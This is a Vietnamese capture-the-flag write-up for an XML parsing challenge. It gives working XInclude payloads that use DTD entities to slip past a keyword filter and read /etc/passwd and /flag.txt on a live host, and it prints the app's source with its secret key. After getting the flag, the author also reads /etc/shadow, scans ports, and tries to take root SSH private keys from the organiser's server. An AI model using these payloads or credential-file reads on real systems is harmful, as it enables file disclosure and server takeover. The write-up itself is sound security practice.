XML Staging Parser
Target : http://139.180.214.198:8088/
Xem có gì hot không ạ
À ra đây là một con web có liên quan tới XML(vì đã được nhắc ở header của web). Nếu mà có XML thì nghĩ ngay tới XML External Entity (XXE).
XPath
Nhìn trên có sự xuất hiện của X Path và XML Data. Hmm chưa hiểu gì cả, vọc vạch theo placeholder đã có sẵn ở trên mỗi trường.
Ở XPath: attribute
Ở XML Data:
<person>
<name>ditme</name>
<attribute>taodeptraivailon</attribute>
</person>
Test thử xem sao
À đã hiểu sơ sơ ra rằng XPath nó làm gì rồi, chắc ở đây để lấy giá trị ở trong mỗi tag (có thể được gọi là subnode) ở trong XML Data. XPath là XML path. XPath là một cú pháp để tìm kiếm bất kỳ element nào trên trang web bằng cách sử dụng XML path (ref: https://anhtester.com/blog/xpath-la-gi-hieu-dung-ve-xpath-b306.html)
Bài toán sẽ được mở rộng ra hơn rằng vậy có cách nào để lấy toàn bộ giá trị của các node, subnode. Đương nhiên là sẽ có cách rồi. Theo w3school (https://www.w3schools.com/xml/xpath_syntax.asp) thì chỉ cần : .//*
là đủ rồi.
Giải thích chút payload ở phần XPath thì câu chuyện chỉ là chọn giá trị hay là element của node đó và không quan trọng rằng node đó nó nằm ở đâu trong XML data. Oke vậy để test thử xem như thế nào
XXE Injection
Câu chuyện đã có vẻ hợp lý hơn rồi ấy. Giờ tiếp theo là kiểm tra xem xử lý thế nào với đống XML Data.
Quay trở lại với vấn đề XML và XXE. Vậy XXE là gì ? XXE hay là (XML External Enitity Injection) dạng lỗ hổng bảo mật của ứng dụng web cho phép attacker can thiệp vào quá trình ứng dụng xử lý XML data (thường sẽ cho xem các file của serversystem và tương tác với các hệ thống backend hoặc external mà ứng dụng có thể truy cập vào được)
XXE được chia thành các dạng phổ biến sau:(ref: https://dummytip.com/penetration-Injectiontesting-step-3-lan-dau-lam-chuyen-ay-voi-xml-external-entity-injection/)
Khai thác XXE để trích xuất file: Định nghĩa external entity chứa nội dung của 1 file và trả về trong response.
Khai thác XXE để thực thi tấn công SSRF: Định nghĩa external entity dựa vào URL đến back-end system.
Khai thác blind XXE để lấy dữ liệu theo kiểu out-of-band: Truyền tải dữ liệu nhạy cảm từ server đến hệ thống mà attacker có thể kiểm soát.
Khai thác blind XXE để trích xuất dữ liệu thông qua thông báo lỗi: Làm phát sinh parsing error message chứa thông tin nhạy cảm.
Hơi dài dòng văn tự nhưng kiểm tra thử đã xem nó thuộc loại gì. Nhưng trước hết cứ kiểm tra xem có gì ở source code.
@socketio.on('message')
def handle_message(xpath, xml):
if len(xpath) != 0 and len(xml) != 0 and "text" not in xml.lower():
try:
res = ''
root = ElementTree.fromstring(xml.strip())
ElementInclude.include(root)
for elem in root.findall(xpath):
if elem.text != "":
res += elem.text + ", "
emit('result', res[:-2])
except Exception as e:
emit('result', 'Bị lỗi á, địt cụ')
else:
emit('result', 'Mày tính làm gì cơ?')
Có xuất hiện một đoạn code python ở trong đây. À ra vậy python vậy có khi web này được viết bằng python và rõ hơn nữa đó là Flask.
Đọc hiểu xem đoạn kia nó làm gì đã. Việc gì khó đã có chatGPT.
Chú ý vào if len(xpath) !=0 and len(xml) != 0 and "text" not in xml.lower():
. Kiểm tra rằng các trường của XPath và XML data có rỗng hay không và tiếp theo rằng trong chuỗi XML Data trên có xuất hiện "text" hay không. Hmm đây có thể là một gợi ý tiếp theo. GPT cũng đã giải thích khá kỹ từng dòng trong đoạn code trên. Note lại ở đây.
Tiếp theo ở đây theo GPT thì data ở phần XML data được phân tích từ module xml.etree.ElementTree
. Hmm search google và kiểm tra xem có vuln nào liên quan tới module đó không. Theo https://docs.python.org/3/library/xml.etree.elementtree.html#module-xml.etree.ElementTree câu trả lời là có
Vậy là đã có CWE-611 (ref: https://security.snyk.io/vuln/SNYK-PYTHON-DJANGORESTFRAMEWORK-40758). Về câu chuyện này có lẽ mình sẽ tìm hiểu và viết rõ sau khi tìm được payload thích hợp.
Lấy thử và kiểm tra thử payload trên có điều gì đó không đúng cho lắm.
Quay trở lại với hint trên thì kiểm tra ở trên https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection xem có payload nào liên quan tới việc có từ "text" không. À đây rồi
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
Khỏi cần thử và mình cũng biết rằng payload trên không hoạt động bởi vì trong XML-data có "text". Vậy mình sẽ dựa trên payload này để xử lý tiếp.
Trong một thoáng suy nghĩ rằng text = t + e + x + t. Vậy mình sẽ định nghĩa các từ trong cụm từ trên thành các biến khác nhau và gộp chung lại.
Build lại một chút nào payload.
<?xml version='1.0'?>
<!DOCTYPE test [
<!ENTITY a "t">
<!ENTITY b "e">
<!ENTITY c "x">
]>
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="/etc/passwd" parse="&a;&b;&c;&a;"/>
</foo>
Kiểm tra lại và chẳng có gì được in ra cả. Hmm thoạt nghĩ rằng có vẻ payload đã thành công rồi ấy nhưng tại sao nó lại không in ra hết ? Thử chèn thêm một cặp thẻ <span></span>
vào xem thử xem có điều gì đặc biệt hay không. Payload cho XML Data lúc này trở thành
<?xml version='1.0'?>
<!DOCTYPE test [
<!ENTITY a "t">
<!ENTITY b "e">
<!ENTITY c "x">
]>
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<span><xi:include href="/etc/passwd" parse="&a;&b;&c;&a;"/></span>
</foo>
It worked ! Câu chuyện đơn giản hơn rất nhiều rằng nếu như có thể tách được chữ text thành nhiều biến khác nhau rồi nối lại với nhau :))). Giờ đến tiết mục đọc flag. File flag được gợi ý ngay ở /flag.txt
.
Payload hoàn chỉnh cho XPath là .//*
và cho XML Data đó là:
<?xml version='1.0'?>
<!DOCTYPE test [
<!ENTITY a "t">
<!ENTITY b "e">
<!ENTITY c "x">
]>
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<span><xi:include href="/flag.txt" parse="&a;&b;&c;&a;"/></span>
</foo>
Flag: VDS{XXE_o_mot_tam_cao_moi_5af8b9e2d347}
Chưa dừng lại ở đó tác giả bảo có bất ngờ cho mình ở trong file app.py
. Đọc thử file xem có gì hot
Oke. I knew :). Để format xíu lại file app.py
cho đẹp đã
import random
import os
from flask import Flask, render_template, render_template_string, url_for, redirect, request
from flask_socketio import SocketIO, emit, send
from xml.etree import ElementTree, ElementInclude
app = Flask(__name__)
app.config['SECRET_KEY'] = 'dit-con-me-thang-lon-minh'
socketio = SocketIO(app)
@app.route('/')
def index():
host = request.headers.get('Host')
return render_template('index.html', url=f'http://{host}')
@socketio.on('message')
def handle_message(xpath, xml):
if len(xpath) != 0 and len(xml) != 0 and "text" not in xml.lower():
try:
res = ''
root = ElementTree.fromstring(xml.strip())
ElementInclude.include(root)
for elem in root.findall(xpath):
if elem.text != "":
res += elem.text + ", "
emit('result', res[:-2])
except Exception as e:
emit('result', 'Bị lỗi á, địt cụ')
else:
emit('result', 'Mày tính làm gì cơ?')
@socketio.on('my event')
def handle_my_custom_event(json):
print('received json: ' + str(json))
if __name__ == '__main__':
socketio.run(app, host='0.0.0.0', port=8088)
app.config['SECRET_KEY'] = 'dit-con-me-thang-lon-minh'
??? @phucdc1
Vọc vạch xem còn gì hot không ?
Ping thử tới địa chỉ IP trên thấy có trả lại response. Hmm xem thử nào
Port 8088 open theo như file app.py
oke để host con web kia. Giờ câu chuyện tiếp theo là xem còn port nào đang được mở hay không nữa ?
Btw, file /etc/shadow
đọc được. Hmm maybe có thể là root. Vậy thử xem trong /root/.ssh/id_rsa
có tồn tại hay không để làm tý ssh tới chiếc server của author yêu dấu :)). Tiếc rằng nó lại báo lỗi :(. So sad
Thử xem với /root/.ssh/id_ed25519
cũng không được.